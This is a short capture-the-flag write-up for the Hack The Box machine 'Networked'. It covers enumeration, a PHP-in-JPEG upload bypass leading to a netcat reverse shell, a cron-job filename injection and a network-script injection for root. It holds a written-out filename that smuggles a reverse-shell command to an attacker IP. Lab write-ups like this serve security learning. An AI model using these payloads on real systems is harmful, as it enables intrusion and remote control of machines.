HTB - Networked

Getting Root:
We find a backup directory on the web server that allows us to read the source code of the php upload application
We use GNU GIMP to embed php code on the comments of the image properties and upload the JPEG to get command execution and get a reverse shell
Got user guly by exploiting a cron job that executes a php script every 3 minutes
Got root by exploiting a shell script that changes information related to the networking interfaces
Tools Used:
nmap, ffuf, gnu gimp, ncat
Nmap
Enumeration
HTTP
Enumerating directories
Enumerating files
Got a backup file
Checking the backup directory, we noticed a backup.tar file with the same php files we found using ffuf

Checking The Files Found
Analysis of the upload.php code

Exploit
We tried uploading a php webshell but it failed. However when we uploaded a jpeg, it uploaded it successfully.

Embedding php code on a JPEG
We use GNU GIMP to embed php code on the comments of the image properties.

We get command execution and get a shell using netcat

Privilege Escalation
Getting User Guly
The user flag is under the home directory of guly but we can't read it yet. There are some files we can read. one of them is a crontab that executes the check_attack.php script every 3 minutes.
Analysis of the check_attack.php code
1) The script uses /var/www/html/uploads and checks all the files
2) It performs a grep like function to avoid files that begin with a . (hidden files)
3) Check files names and extensions and sends an email to if it finds something that is not part of the valid extensions list.

To exploit the php script, we execute the following command to create a file that gets us a shell: touch 'wtf;nc -c sh 10.10.14.22 9001;.php'
This will make the php script execute wtf (which is nothing) then executes the netcat command to connects to our kali box.
Getting Root
We can use spaces to execute multiple commands, For example:
eth0 /bin/bash
Last updated